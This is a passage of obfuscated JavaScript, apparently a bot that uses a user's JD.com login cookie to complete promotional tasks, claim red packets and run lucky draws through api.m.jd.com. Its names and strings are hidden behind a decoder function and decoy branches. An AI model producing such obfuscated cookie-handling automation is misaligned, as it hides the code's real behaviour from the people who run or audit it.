_0x4e5540!==_0x468579;},'mMzXs':_0x5c3d('54','wc[h'),'BlsrB':_0x5c3d('55','GEp&'),'BUiTm':function(_0x4e7cbd){return _0x4e7cbd();},'yEhDu':function(_0x36015b){return _0x36015b();},'yFsBV':function(_0x5dc7ce){return _0x5dc7ce();},'IZfzp':function(_0x434552){return _0x434552();},'iugmP':function(_0x357435,_0x15bf7f){return _0x357435===_0x15bf7f;},'EkOxt':_0x5c3d('56','SI!Z')};try{if(_0x3d851d[_0x5c3d('57','4%Cg')](_0x5c3d('58','@YZ@'),_0x3d851d[_0x5c3d('59','o%Hs')])){var _0x15e94e=_0x3d851d[_0x5c3d('5a','o7vD')][_0x5c3d('5b','8ye]')]('|'),_0x2d5c8a=0x0;while(!![]){switch(_0x15e94e[_0x2d5c8a++]){case'0':await _0x3d851d[_0x5c3d('5c','QeIx')](doLuckDrawFun);continue;case'1':await _0x3d851d['yEhDu'](red);continue;case'2':await _0x3d851d['yFsBV'](doTask);continue;case'3':await h5activityIndex();continue;case'4':await taskHomePage();continue;case'5':await _0x3d851d[_0x5c3d('5d','p4$W')](h5activityIndex);continue;}break;}}else{resolve(data);}}catch(_0x4372c4){if(_0x3d851d[_0x5c3d('5e','OghG')](_0x3d851d['EkOxt'],_0x5c3d('5f','1xX6'))){$['logErr'](_0x4372c4);}else{console['log']('\x0a'+$['name']+_0x5c3d('60','7De#'));console[_0x5c3d('61','DI]G')](JSON['stringify'](err));}}}function showMsg(){console[_0x5c3d('62','oaTe')]('\x0a\x0a'+$[_0x5c3d('63','XpI[')]+_0x5c3d('64','J(]D')+$[_0x5c3d('65','GEp&')]+_0x5c3d('66','o7vD'));}async function doLuckDrawFun(){var _0x1678ca={'NYuqu':function(_0x4b1ea9,_0x7f2ae4){return _0x4b1ea9<_0x7f2ae4;},'FpxZh':function(_0x269f7c){return _0x269f7c();}};for(let _0x44f666=0x0;_0x1678ca[_0x5c3d('67','P3j6')](_0x44f666,0x3);_0x44f666++){await _0x1678ca[_0x5c3d('68','m)@n')](doLuckDrawEntrance);}}function doLuckDrawEntrance(){var _0x2d8ba8={'PtFMC':_0x5c3d('69','Ykax'),'JWjKW':function(_0x54a1c9,_0x1e41cf){return _0x54a1c9!==_0x1e41cf;},'WlnFb':_0x5c3d('6a','fCgc'),'mLXhv':function(_0x4d7ec2,_0x4aab2e){return _0x4d7ec2===_0x4aab2e;},'SLnRl':_0x5c3d('6b','o7vD'),'oyFMf':_0x5c3d('6c','8ye]'),'BCqMn':_0x5c3d('6d','OghG'),'dhJSE':'esyld','wQeAQ':function(_0x35e64a){return _0x35e64a();},'PJEil':'result','JYUuJ':_0x5c3d('6e','J(]D'),'HXwNK':_0x5c3d('6f','o7vD'),'DHYQj':_0x5c3d('70','o%Hs'),'WjKEm':'keep-alive','EKCYp':'application/json,\x20text/plain,\x20*/*','IoYgJ':'zh-cn','XYskb':'gzip,\x20deflate,\x20br'};return new Promise(_0x3d43ca=>{var _0x55ffbc={'JDPbl':_0x2d8ba8[_0x5c3d('71',')4(@')],'KIKDy':_0x2d8ba8[_0x5c3d('72','qi!x')]};const _0x441d8b={'url':_0x2d8ba8['HXwNK'],'headers':{'Host':'api.m.jd.com','Origin':_0x2d8ba8['DHYQj'],'Cookie':cookie,'Content-Length':'0','Connection':_0x2d8ba8[_0x5c3d('73','oaTe')],'Accept':_0x2d8ba8['EKCYp'],'User-Agent':_0x5c3d('74','OghG'),'Accept-Language':_0x2d8ba8[_0x5c3d('75','lR53')],'Referer':_0x5c3d('76','m)@n'),'Accept-Encoding':_0x2d8ba8[_0x5c3d('77','J(]D')]}};$[_0x5c3d('78','4%Cg')](_0x441d8b,async(_0x446f01,_0x352ba9,_0x41b7f)=>{if(_0x2d8ba8[_0x5c3d('79','XpI[')]===_0x2d8ba8[_0x5c3d('7a','$[C2')]){try{if(_0x446f01){if(_0x2d8ba8[_0x5c3d('7b',']loZ')](_0x5c3d('7c','@YZ@'),_0x2d8ba8[_0x5c3d('7d','sEZ[')])){console[_0x5c3d('7e','1xX6')](''+JSON[_0x5c3d('7f','DI]G')](_0x446f01));console[_0x5c3d('80','qt1B')]($[_0x5c3d('81','RJ[D')]+_0x5c3d('82','1xX6'));}else{const _0x4ec2ee=$[_0x5c3d('83','$lyO')][_0x5c3d('84','m0Q1')][_0x55ffbc['JDPbl']][_0x5c3d('85','s%P1')]||[];for(let _0x9bcdf9 of _0x4ec2ee){$[_0x5c3d('86','XpI[')]+=_0x9bcdf9[_0x55ffbc['KIKDy']];}if($[_0x5c3d('87','qt1B')])$[_0x5c3d('88','s2t@')]=$[_0x5c3d('89','wc[h')][_0x5c3d('8a','96*f')](0x2);}}else{if(_0x41b7f){if(_0x2d8ba8[_0x5c3d('8b','o%Hs')](_0x2d8ba8[_0x5c3d('8c','afg[')],_0x2d8ba8[_0x5c3d('8d','Jnb7')])){_0x41b7f=JSON[_0x5c3d('8e','GEp&')](_0x41b7f);if(_0x2d8ba8['mLXhv'](_0x41b7f['code'],'0')&&_0x41b7f['busiCode']==='0'){if(_0x2d8ba8[_0x5c3d('8f','GR%&')]!==_0x2d8ba8['BCqMn']){if(_0x41b7f[_0x5c3d('90','wc[h')]['luckyDrawData'][_0x5c3d('91','s2t@')]){if(_0x41b7f[_0x5c3d('92','$lyO')][_0x5c3d('93','piza')][_0x5c3d('94','qt1B')]){if(_0x2d8ba8['dhJSE']===_0x5c3d('95',']loZ')){url='https://api.m.jd.com/client.action?functionId='+functionId+_0x5c3d('96','96*f')+escape(JSON[_0x5c3d('97','$[C2')](body))+_0x5c3d('98','Vm#Z');}else{console[_0x5c3d('3a','pqb(')](_0x5c3d('99','sEZ[')+_0x41b7f[_0x5c3d('9a','oaTe')]['luckyDrawData']['quota']+'元');}}else{console['log'](_0x5c3d('9b','Vm#Z')+_0x41b7f[_0x5c3d('9c','p4$W')]['luckyDrawData']['discount']+'元:'+_0x41b7f[_0x5c3d('9d','@YZ@')]['luckyDrawData'][_0x5c3d('9e','96*f')]+','+_0x41b7f[_0x5c3d('9f','pqb(')][_0x5c3d('a0','wc[h')][_0x5c3d('a1','pqb(')]);}}else{console[_0x5c3d('a2','m)@n')](_0x5c3d('a3','P3j6'));}}else{console['log']('\x0a'+$[_0x5c3d('a4','qi!x')]+_0x5c3d('a5','f$@p'));console['log'](JSON[_0x5c3d('a6','piza')](_0x446f01));}}}else{console[_0x5c3d('a7','GR%&')]('\x0a'+$['name']+':\x20API查询请求失败\x20‼️‼️');console[_0x5c3d('a8','@YZ@')](JSON[_0x5c3d('a9','7De#')](_0x446f01));}}}}catch(_0x46dfee){$['logErr'](_0x46dfee,_0x352ba9);}finally{_0x2d8ba8[_0x5c3d('aa','o7vD')](_0x3d43ca);}}else{console[_0x5c3d('22','I($f')]('\x0a\x0a'+$[_0x5c3d('ab','P3j6')]+_0x5c3d('ac','piza')+$['discount']+_0x5c3d('ad','4%Cg'));}});});}async function doTask(){var _0x3b27d9={'BYFcq':function(_0x585d0c,_0x2f6147){return _0x585d0c===_0x2f6147;},'wMOyt':'biz_code','dHvqM':_0x5c3d('ae','8ye]'),'ebjCO':function(_0x340b23,_0x2227ce){return _0x340b23>_0x2227ce;},'dcBtf':function(_0x5a6316,_0x134112){return _0x5a6316!==_0x134112;},'jiLne':_0x5c3d('af','$lyO'),'YkaQH':function(_0xa77453,_0x3eea0a){return _0xa77453(_0x3eea0a);},'UMaLf':function(_0x1ac51a,_0x175b3c){return _0x1ac51a!==_0x175b3c;},'ZjWmx':function(_0x569396,_0x3c40aa){return _0x569396===_0x3c40aa;},'LUede':_0x5c3d('b0','7De#'),'UwoqG':_0x5c3d('b1','o%Hs'),'gtfAT':function(_0x2896a0,_0xc4df41){return _0x2896a0(_0xc4df41);},'EfNZp':function(_0x561911,_0x56651d){return _0x561911(_0x56651d);},'AxCVO':function(_0x513aff,_0x17f1d7){return _0x513aff===_0x17f1d7;},'cBjfa':function(_0x7fb95b){return _0x7fb95b();},'agwdz':function(_0x3d2b5b,_0x223593){return _0x3d2b5b(_0x223593);},'wrkWS':function(_0xd8d795,_0x2bb90d){return _0xd8d795!==_0x2bb90d;},'UIQYz':function(_0x41680a,_0x5516ec){return _0x41680a(_0x5516ec);},'VwJwy':function(_0x424a48,_0x2fb958){return _0x424a48(_0x2fb958);},'gytIv':_0x5c3d('b2','wc[h'),'VbRMK':'jslUq'};if($['taskHomePageData']&&_0x3b27d9[_0x5c3d('b3','OghG')]($[_0x5c3d('b4','dECe')][_0x5c3d('b5','n@nG')],0x0)){$[_0x5c3d('b6','SI!Z')]=$[_0x5c3d('b7','wc[h')][_0x5c3d('b8','lR53')][_0x5c3d('9c','p4$W')][_0x5c3d('b9','s%P1')];if($[_0x5c3d('ba',']loZ')]&&_0x3b27d9['ebjCO']($[_0x5c3d('bb','@YZ@')][_0x5c3d('bc','(S7p')],0x0)){if(_0x3b27d9[_0x5c3d('bd','oaTe')](_0x3b27d9[_0x5c3d('be','(S7p')],_0x3b27d9[_0x5c3d('bf','GR%&')])){resolve(data);}else{console[_0x5c3d('c0','s2t@')]('\x20\x20\x20\x20任务\x20\x20\x20\x20\x20状态\x20\x20红包是否领取');for(let _0x2c246a of $['taskInfo']){console['log'](_0x2c246a['title']['slice'](-0x6)+'\x20\x20\x20'+(_0x2c246a[_0x5c3d('c1','GEp&')]?_0x2c246a['alreadyReceivedCount']:0x0)+'/'+_0x2c246a[_0x5c3d('c2','4%Cg')]+_0x5c3d('c3','8ye]')+(_0x2c246a[_0x5c3d('c4','$[C2')]===0x4?'是':'否'));}for(let _0x9c974d of $[_0x5c3d('c5','(S7p')]){if(_0x3b27d9['BYFcq'](_0x9c974d[_0x5c3d('c6','fCgc')],0x4)){console['log']('['+_0x9c974d[_0x5c3d('c7','f$@p')]+_0x5c3d('c8','Jnb7'));}else if(_0x9c974d[_0x5c3d('c9','Vm#Z')]===0x3){await _0x3b27d9[_0x5c3d('ca','piza')](receiveTaskRedpacket,_0x9c974d[_0x5c3d('cb','pqb(')]);}else if(_0x9c974d['innerStatus']===0x2){if(_0x3b27d9['dcBtf'](_0x9c974d[_0x5c3d('cc','Vm#Z')],0x0)&&_0x3b27d9[_0x5c3d('cd','$[C2')](_0x9c974d[_0x5c3d('ce','P3j6')],0x1)){if(_0x3b27d9['ZjWmx'](_0x3b27d9['LUede'],_0x3b27d9[_0x5c3d('cf','4%Cg')])){data=JSON[_0x5c3d('d0','pqb(')](data);if(data&&data[_0x5c3d('d1','fCgc')]&&_0x3b27d9[_0x5c3d('d2',']G5@')](data[_0x5c3d('d3','n@nG')][_0x3b27d9['wMOyt']],0x0)){console[_0x5c3d('d4','GEp&')](_0x5c3d('d5','96*f')+data[_0x5c3d('d6','s%P1')][_0x5c3d('d7','qi!x')][_0x3b27d9['dHvqM']]+'元');}else{console['log']('领红包失败:'+JSON[_0x5c3d('d8',']loZ')](data));}}else{console['log']('开始做【'+_0x9c974d[_0x5c3d('d9','Vm#Z')]+_0x5c3d('da','OghG'));await _0x3b27d9['gtfAT'](active,_0x9c974d['taskType']);console['log'](_0x5c3d('db','GEp&')+_0x9c974d[_0x5c3d('dc','#g!5')]+_0x5c3d('dd','f$@p'));await _0x3b27d9[_0x5c3d('de','XpI[')](receiveTaskRedpacket,_0x9c974d[_0x5c3d('df','KKA&')]);}}else if(_0x3b27d9[_0x5c3d('e0','KKA&')](_0x9c974d[_0x5c3d('e1','s2t@')],0x1)){console[_0x5c3d('44','7De#')](_0x5c3d('e2','96*f')+_0x9c974d[_0x5c3d('e3','NJq]')]+_0x5c3d('e4','DI]G'));await _0x3b27d9['cBjfa'](doAppTask);}else{console[_0x5c3d('80','qt1B')]('['+_0x9c974d[_0x5c3d('e5','@YZ@')]+_0x5c3d('e6',')4(@'));}}else if(_0x3b27d9[_0x5c3d('e7','96*f')](_0x9c974d[_0x5c3d('e8','4%Cg')],0x4)){console['log'](_0x5c3d('e9',']loZ')+_0x9c974d[_0x5c3d('ea',']G5@')]+'】任务');await _0x3b27d9[_0x5c3d('eb',')4(@')](startTask,_0x9c974d[_0x5c3d('ec','96*f')]);if(_0x3b27d9['wrkWS'](_0x9c974d[_0x5c3d('ed','qt1B')],0x0)&&_0x3b27d9[_0x5c3d('ee',']G5@')](_0x9c974d[_0x5c3d('ef','$[C2')],0x1)){console[_0x5c3d('f0','dECe')](_0x5c3d('e2','96*f')+_0x9c974d[_0x5c3d('f1','QeIx')]+'】任务');await _0x3b27d9[_0x5c3d('f2','fCgc')](active,_0x9c974d[_0x5c3d('f3','sEZ[')]);console[_0x5c3d('f4','fCgc')](_0x5c3d('f5','s2t@')+_0x9c974d[_0x5c3d('f6','GR%&')]+_0x5c3d('f7',']loZ'));await _0x3b27d9[_0x5c3d('f8','piza')](receiveTaskRedpacket,_0x9c974d[_0x5c3d('f9','o%Hs')]);}else if(_0x9c974d[_0x5c3d('fa',')4(@')]===0x1){console['log'](_0x5c3d('e2','96*f')+_0x9c974d[_0x5c3d('d9','Vm#Z')]+_0x5c3d('fb','GR%&'));await _0x3b27d9[_0x5c3d('fc','DI]G')](doAppTask);}else{if(_0x3b27d9['AxCVO'](_0x3b27d9[_0x5c3d('fd','Vm#Z')],_0x3b27d9[_0x5c3d('fe','4%Cg')])){$[_0x5c3d('ff','dECe')](e,resp);}else{console['log']('['+_0x9c974d[_0x5c3d('100','Jnb7')]+']\x20功能未开发');}}}}}}}else{console['log'](_0x5c3d('101','J(]D')+JSON['stringify']($[_0x5c3d('102','pqb(')])+'\x0a');}}async function red(){var _0xf8d4f2={'ZqOHs':_0x5c3d('103','m0Q1'),'sWYWP':_0x5c3d('104','#g!5'),'pevEv':_0x5c3d('105','Ykax'),'twrQs':'status','JfIrO':function(_0x5b9dda,_0x8d031){return _0x5b9dda===_0x8d031;},'xNtaw':_0x5c3d('106','KKA&'),'pNUUX':'assistants','qmrMl':function(_0x342aa2,_0xa867b5){return _0x342aa2!==_0xa867b5;},'rpHeR':_0x5c3d('107','SI!Z'),'vcWmC':function(_0x2fedbc){return _0x2fedbc();},'ZJnnS':function(_0x2d851e,_0x175f4d){return _0x2d851e===_0x175f4d;},'CyXBV':_0x5c3d('108','4%Cg'),'hPldU':_0x5c3d('109','DI]G'),'VNiVk':'waitOpenTimes','xQQDd':function(_0x50d088,_0x1d7f5b){return _0x50d088>_0x1d7f5b;},'vVgRF':'bBLKh','cWZxl':function(_0x52fde0,_0x28f34a){return _0x52fde0<_0x28f34a;},'XCnJm':function(_0x4890ce,_0x2ff254){return _0x4890ce(_0x2ff254);},'eHsRq':_0x5c3d('10a','afg['),'damdx':_0x5c3d('10b','inWv'),'tSMtB':_0x5c3d('10c','SI!Z')};$['hasSendNumber']=0x0;$[_0x5c3d('10d',')4(@')]=0x0;if($[_0x5c3d('10e','qt1B')]&&$['h5activityIndex'][_0x5c3d('10f','SI!Z')]&&$[_0x5c3d('110','inWv')][_0x5c3d('111','$lyO')][_0xf8d4f2[_0x5c3d('112','SI!Z')]]){const _0x519517=$['h5activityIndex'][_0x5c3d('113','7De#')][_0xf8d4f2[_0x5c3d('114','8ye]')]][_0xf8d4f2[_0x5c3d('115','o7vD')]]||[];$[_0x5c3d('116','Jnb7')]=$['h5activityIndex'][_0x5c3d('117','qt1B')][_0xf8d4f2[_0x5c3d('118','P3j6')]][_0x5c3d('119','n@nG')];if($['h5activityIndex']['data']['result'][_0xf8d4f2[_0x5c3d('11a','o7vD')]]){$[_0x5c3d('11b','dECe')]=$[_0x5c3d('11c','XpI[')][_0x5c3d('11d','KKA&')][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('11e','lR53')]]['length']||0x0;}}if($[_0x5c3d('11f','o%Hs')]&&$[_0x5c3d('120','NJq]')]['data']&&_0xf8d4f2['JfIrO']($[_0x5c3d('121','qi!x')][_0x5c3d('122','dECe')][_0x5c3d('123',']G5@')],0x2712)){if(_0xf8d4f2[_0x5c3d('124','m)@n')](_0x5c3d('125','$[C2'),_0xf8d4f2[_0x5c3d('126','$lyO')])){$[_0x5c3d('127','Ykax')](e);}else{await _0xf8d4f2[_0x5c3d('128','QeIx')](h5launch);}}else if($[_0x5c3d('129','QeIx')]&&$[_0x5c3d('12a','o7vD')][_0x5c3d('12b','oaTe')]&&_0xf8d4f2[_0x5c3d('12c',')4(@')]($[_0x5c3d('12d','pqb(')]['data']['biz_code'],0x4e21)){const _0xdfe9b5=$[_0x5c3d('12e','96*f')][_0xf8d4f2[_0x5c3d('12f','o%Hs')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('130','n@nG')]]['id'];if(_0xdfe9b5)$[_0x5c3d('131','afg[')]['push'](_0xdfe9b5);console['log']('\x0a\x0a当前待拆红包ID:'+$['h5activityIndex'][_0xf8d4f2[_0x5c3d('132','P3j6')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('133','SI!Z')]]['id']+',进度:再邀'+$[_0x5c3d('134','Jnb7')][_0xf8d4f2[_0x5c3d('135','s2t@')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('136','lR53')]]+_0x5c3d('137',')4(@')+($['hasSendNumber']+0x1)+'个红包。当前已拆红包:'+$[_0x5c3d('138','afg[')]+_0x5c3d('139','qi!x')+$['h5activityIndex'][_0xf8d4f2[_0x5c3d('13a','(S7p')]][_0x5c3d('13b',')4(@')]['remainRedpacketNumber']+_0x5c3d('13c','qt1B')+$[_0x5c3d('13d',']loZ')]+'好友助力\x0a\x0a');const _0x3aaf94=$[_0x5c3d('13e','s2t@')][_0x5c3d('13f','8ye]')][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('140','o%Hs')]][_0xf8d4f2[_0x5c3d('141','96*f')]]||0x0;console['log'](_0x5c3d('142','lR53')+_0x3aaf94);if(_0xf8d4f2[_0x5c3d('143','f$@p')](_0x3aaf94,0x0)){if(_0xf8d4f2[_0x5c3d('144','piza')]!=='bBLKh'){console[_0x5c3d('145','n@nG')]('助力结果:'+data['data'][_0x5c3d('146','$[C2')][_0xf8d4f2[_0x5c3d('147','s%P1')]]);if(data[_0xf8d4f2[_0x5c3d('148','o7vD')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('149','4%Cg')]]===0x3)$['canHelp']=![];if(_0xf8d4f2[_0x5c3d('14a','pqb(')](data[_0xf8d4f2[_0x5c3d('14b','I($f')]][_0xf8d4f2[_0x5c3d('14c','f$@p')]][_0xf8d4f2[_0x5c3d('14d','m)@n')]],0x9))$[_0x5c3d('14e','XpI[')]=![];}else{for(let _0x1e176e=0x0;_0xf8d4f2[_0x5c3d('14f',']G5@')](_0x1e176e,new Array(_0x3aaf94)[_0x5c3d('150','piza')]('')[_0x5c3d('151','7De#')]);_0x1e176e++){if(!_0xdfe9b5)break;await _0xf8d4f2[_0x5c3d('152','7De#')](h5receiveRedpacket,_0xdfe9b5);await $[_0x5c3d('153','qi!x')](0x1f4);}}}}else if($['h5activityIndex']&&$[_0x5c3d('154','f$@p')][_0x5c3d('155',']G5@')]&&$[_0x5c3d('156','m)@n')][_0x5c3d('157','I($f')][_0xf8d4f2['eHsRq']]===0x4e22){if('qVBZh'!==_0xf8d4f2[_0x5c3d('158','fCgc')]){console[_0x5c3d('159','$[C2')]('\x0a'+$[_0x5c3d('15a','sEZ[')][_0x5c3d('15b','OghG')][_0xf8d4f2['tSMtB']]+'\x0a');}else{if(err){console[_0x5c3d('15c','OghG')]('\x0a'+$[_0x5c3d('15d','$lyO')]+_0x5c3d('15e','SI!Z'));console[_0x5c3d('d4','GEp&')](JSON['stringify'](err));}else{$[_0x5c3d('15f','J(]D')]=JSON[_0x5c3d('d0','pqb(')](data);}}}}function taskHomePage(){var _0x18f4cb={'BcQCf':function(_0x59df51,_0xb12e4d){return _0x59df51!==_0xb12e4d;},'KxnUO':_0x5c3d('160','Vm#Z'),'VCZWx':function(_0x247d50,_0x302d75){return _0x247d50!==_0x302d75;},'tfLwG':_0x5c3d('161','p4$W'),'NwCYs':function(_0x308b76,_0xa26687){return _0x308b76===_0xa26687;},'SiEKp':_0x5c3d('162','oaTe'),'hzvXy':'qIscY','Cmvmt':_0x5c3d('163','QeIx'),'pTtUQ':function(_0x15fc99,_0x4c2bb2){return _0x15fc99(_0x4c2bb2);},'gFshu':function(_0x57fd53,_0x1b0122){return _0x57fd53(_0x1b0122);},'jGpTc':_0x5c3d('164','s%P1'),'JmYGW':'pIuGm','SUvrz':function(_0x4bab97,_0x3de7a8,_0x1beb27){return _0x4bab97(_0x3de7a8,_0x1beb27);}};return new Promise(_0x58f1a5=>{var _0x4c7fe3={'tQgsP':function(_0x133a89){return _0x133a89();},'dUkhn':function(_0x267817,_0x418364){return _0x18f4cb[_0x5c3d('165','n@nG')](_0x267817,_0x418364);}};if(_0x18f4cb[_0x5c3d('166','QeIx')](_0x18f4cb[_0x5c3d('167','oaTe')],_0x18f4cb['JmYGW'])){$[_0x5c3d('168','wc[h')](_0x18f4cb[_0x5c3d('169','o7vD')](taskUrl,arguments['callee'][_0x5c3d('16a','o%Hs')][_0x5c3d('16b','DI]G')](),{'clientInfo':{}}),(_0x1c6bdd,_0x356597,_0x518e89)=>{if(_0x18f4cb[_0x5c3d('16c','s2t@')](_0x18f4cb['KxnUO'],_0x18f4cb['KxnUO'])){_0x4c7fe3[_0x5c3d('16d','@YZ@')](_0x58f1a5);}else{try{if(_0x18f4cb[_0x5c3d('16e','qi!x')](_0x18f4cb[_0x5c3d('16f','fCgc')],_0x18f4cb[_0x5c3d('170','(S7p')])){url=_0x5c3d('171','oaTe')+functionId+_0x5c3d('172','sEZ[')+_0x4c7fe3[_0x5c3d('173','qt1B')](escape,JSON[_0x5c3d('174','P3j6')](body))+_0x5c3d('175','#g!5');}else{if(_0x1c6bdd){if(_0x18f4cb[_0x5c3d('176','1xX6')](_0x18f4cb[_0x5c3d('177','wc[h')],'jIvjU')){console[_0x5c3d('178','$lyO')]('\x0a'+$[_0x5c3d('16','dECe')]+_0x5c3d('179',']G5@'));console[_0x5c3d('17a','KKA&')](JSON[_0x5c3d('17b','f$@p')](_0x1c6bdd));}else{if(_0x518e89[_0x5c3d('17c','1xX6')][_0x5c3d('17d','KKA&')][_0x5c3d('17e',')4(@')]){console['log'](_0x5c3d('17f','#g!5')+_0x518e89[_0x5c3d('105','Ykax')][_0x5c3d('180','QeIx')]['quota']+'元');}else{console[_0x5c3d('15c','OghG')](_0x5c3d('181','pqb(')+_0x518e89['result'][_0x5c3d('182','#g!5')][_0x5c3d('183','m)@n')]+'元:'+_0x518e89[_0x5c3d('184','piza')][_0x5c3d('185','RJ[D')][_0x5c3d('186','GR%&')]+','+_0x518e89[_0x5c3d('187','#g!5')][_0x5c3d('188','dECe')][_0x5c3d('189','inWv')]);}}}else{if(_0x18f4cb[_0x5c3d('18a','8ye]')](_0x18f4cb[_0x5c3d('18b',']loZ')],_0x18f4cb[_0x5c3d('18c','XpI[')])){console[_0x5c3d('18d','SI!Z')](_0x5c3d('18e',']G5@')+_0x518e89[_0x5c3d('18f','4%Cg')][_0x5c3d('190','DI]G')][_0x5c3d('191','Vm#Z')]+'元');}else{$[_0x5c3d('192','s2t@')]=JSON[_0x5c3d('193','96*f')](_0x518e89);}}}}catch(_0x16847c){$[_0x5c3d('194','lR53')](_0x16847c,_0x356597);}finally{_0x18f4cb[_0x5c3d('195','#g!5')](_0x58f1a5,_0x518e89);}}});}else{console[_0x5c3d('80','qt1B')]('\x0a'+$[_0x5c3d('196','lR53')]+_0x5c3d('197','s2t@'));console[_0x5c3d('198','#g!5')](JSON[_0x5c3d('199','s%P1')](err));}});}function startTask(_0x4ac69a){var _0x20180a={'KtUKO':function(_0x14d335,_0x250ca3){return _0x14d335!==_0x250ca3;},'ohdvi':_0x5c3d('19a','OghG'),'zCWjv':function(_0xb39e7,_0x5c31ea){return _0xb39e7===_0x5c31ea;},'YdPFO':_0x5c3d('19b','piza'),'qbUut':function(_0x338fe6,_0x117ecb){return _0x338fe6(_0x117ecb);},'VYCPR':'VktFU','SbFsC':_0x5c3d('19c','$[C2'),'nSnHt':function(_0xcfa2,_0x78487e){return _0xcfa2+_0x78487e;}};let _0x3d654a={'taskType':_0x4ac69a};_0x3d654a[_0x20180a[_0x5c3d('19d','afg[')]]=$[_0x5c3d('19e','#g!5')]($['md5'](_0x20180a[_0x5c3d('19f','afg[')]('j',JSON[_0x5c3d('1a0','4%Cg')](_0x3d654a))+'D'));return new Promise(_0x60cd4e=>{if(_0x20180a['VYCPR']===_0x5c3d('1a1','s2t@')){console[_0x5c3d('f4','fCgc')]('---具体任务详情---'+JSON[_0x5c3d('1a2','NJq]')](getTaskDetailForColorRes));}else{$[_0x5c3d('1a3','NJq]')](taskUrl(arguments['callee'][_0x5c3d('1a4','#g!5')][_0x5c3d('1a5','7De#')](),_0x3d654a),(_0x1f5a73,_0x1d7290,_0x3d654a)=>{try{if(_0x20180a[_0x5c3d('1a6','$[C2')]('sfeuv',_0x20180a['ohdvi'])){$['taskHomePageData']=JSON['parse'](_0x3d654a);}else{if(_0x1f5a73){console[_0x5c3d('1a7','m0Q1')]('\x0a'+$[_0x5c3d('1a8','I($f')]+_0x5c3d('1a9','afg['));console['log'](JSON[_0x5c3d('1aa','qi!x')](_0x1f5a73));}else{console[_0x5c3d('3a','pqb(')]('领取任务:'+_0x3d654a);_0x3d654a=JSON[_0x5c3d('1ab','fCgc')](_0x3d654a);}}}catch(_0x5baedf){$['logErr'](_0x5baedf,_0x1d7290);}finally{if(_0x20180a[_0x5c3d('1ac','GR%&')](_0x20180a[_0x5c3d('1ad','KKA&')],_0x20180a[_0x5c3d('1ae','p4$W')])){_0x20180a[_0x5c3d('1af','s2t@')](_0x60cd4e,_0x3d654a);}else{console[_0x5c3d('f4','fCgc')]('发起助力红包\x20失败:'+JSON['stringify'](_0x3d654a));}}});}});}async function active(_0x2bea66){var _0x353a1a={'SXOvX':function(_0x4e6a3a){return _0x4e6a3a();},'oJnKs':function(_0x276141,_0x7435e){return _0x276141(_0x7435e);},'eNXrL':function(_0xbb1d8c,_0x325883){return _0xbb1d8c===_0x325883;},'TGAyD':function(_0xb873d2,_0x56b43d){return _0xb873d2===_0x56b43d;},'NuVDs':_0x5c3d('1b0','7De#'),'cqjXG':_0x5c3d('1b1','J(]D'),'UFdUs':'ZPIlv','puRgv':function(_0x3055c9,_0x245b8b,_0x4c9f00){return _0x3055c9(_0x245b8b,_0x4c9f00);},'rHPgz':_0x5c3d('1b2','m)@n')};const _0x39c8d9=await _0x353a1a[_0x5c3d('1b3','s%P1')](getTaskDetailForColor,_0x2bea66);if(_0x39c8d9&&_0x353a1a[_0x5c3d('1b4','Jnb7')](_0x39c8d9[_0x5c3d('1b5',')4(@')],0x0)){if(_0x39c8d9[_0x5c3d('117','qt1B')]&&_0x39c8d9['data']['result']){const {advertDetails}=_0x39c8d9['data'][_0x5c3d('17c','1xX6')];for(let _0x5611dd of advertDetails){if(_0x353a1a[_0x5c3d('1b6','#g!5')](_0x353a1a[_0x5c3d('1b7','Vm#Z')],_0x5c3d('1b8','96*f'))){await $[_0x5c3d('1b9','Vm#Z')](0x3e8);if(_0x5611dd['id']&&_0x5611dd[_0x5c3d('1ba','afg[')]===0x0){if(_0x353a1a['cqjXG']===_0x353a1a['UFdUs']){console['log'](_0x5c3d('1bb','8ye]')+data);data=JSON['parse'](data);}else{await _0x353a1a['puRgv'](taskReportForColor,_0x2bea66,_0x5611dd['id']);}}}else{_0x353a1a['SXOvX'](resolve);}}}else{console[_0x5c3d('22','I($f')](_0x5c3d('1bc','pqb('));$[_0x5c3d('1bd',']loZ')](''+$[_0x5c3d('1be','f$@p')],'',_0x5c3d('1bf','qt1B'));if($[_0x5c3d('1c0','pqb(')]())await notify[_0x5c3d('1c1','NJq]')]($[_0x5c3d('27','$[C2')]+_0x5c3d('1c2','SI!Z')+$[_0x5c3d('1c3','o%Hs')]+_0x5c3d('1c4','oaTe')+$[_0x5c3d('1c5','7De#')],_0x5c3d('1c6','J(]D'));}}else{if(_0x353a1a[_0x5c3d('1c7',']loZ')](_0x353a1a[_0x5c3d('1c8','GR%&')],_0x5c3d('1c9','s%P1'))){console['log'](_0x5c3d('1ca','#g!5')+JSON[_0x5c3d('1cb','(S7p')](_0x39c8d9));}else{console[_0x5c3d('1cc',')4(@')]('\x0a'+$['name']+_0x5c3d('1cd','qt1B'));console['log'](JSON[_0x5c3d('1ce','96*f')](err));}}}function getTaskDetailForColor(_0x2c4c7b){var _0x2682ae={'giQyg':_0x5c3d('1cf','o%Hs'),'SlFpb':function(_0x578895,_0x5dfb99){return _0x578895===_0x5dfb99;},'znQly':'MCILP','ejnGm':_0x5c3d('1d0','I($f'),'vXznd':function(_0x49d202,_0x3077b1){return _0x49d202===_0x3077b1;},'dbFxk':_0x5c3d('1d1','Jnb7'),'QEckC':_0x5c3d('1d2','afg['),'VtrCf':function(_0x1ffb7f,_0x298bd0){return _0x1ffb7f(_0x298bd0);},'nbYTc':function(_0x5beb60,_0x5a89e8){return _0x5beb60!==_0x5a89e8;},'GSsrS':_0x5c3d('1d3','fCgc'),'wrfDD':'hghwF','nmAsw':function(_0x5930f8,_0x4a8582,_0xfc044c){return _0x5930f8(_0x4a8582,_0xfc044c);}};const _0x574b60={'clientInfo':{},'taskType':_0x2c4c7b};return new 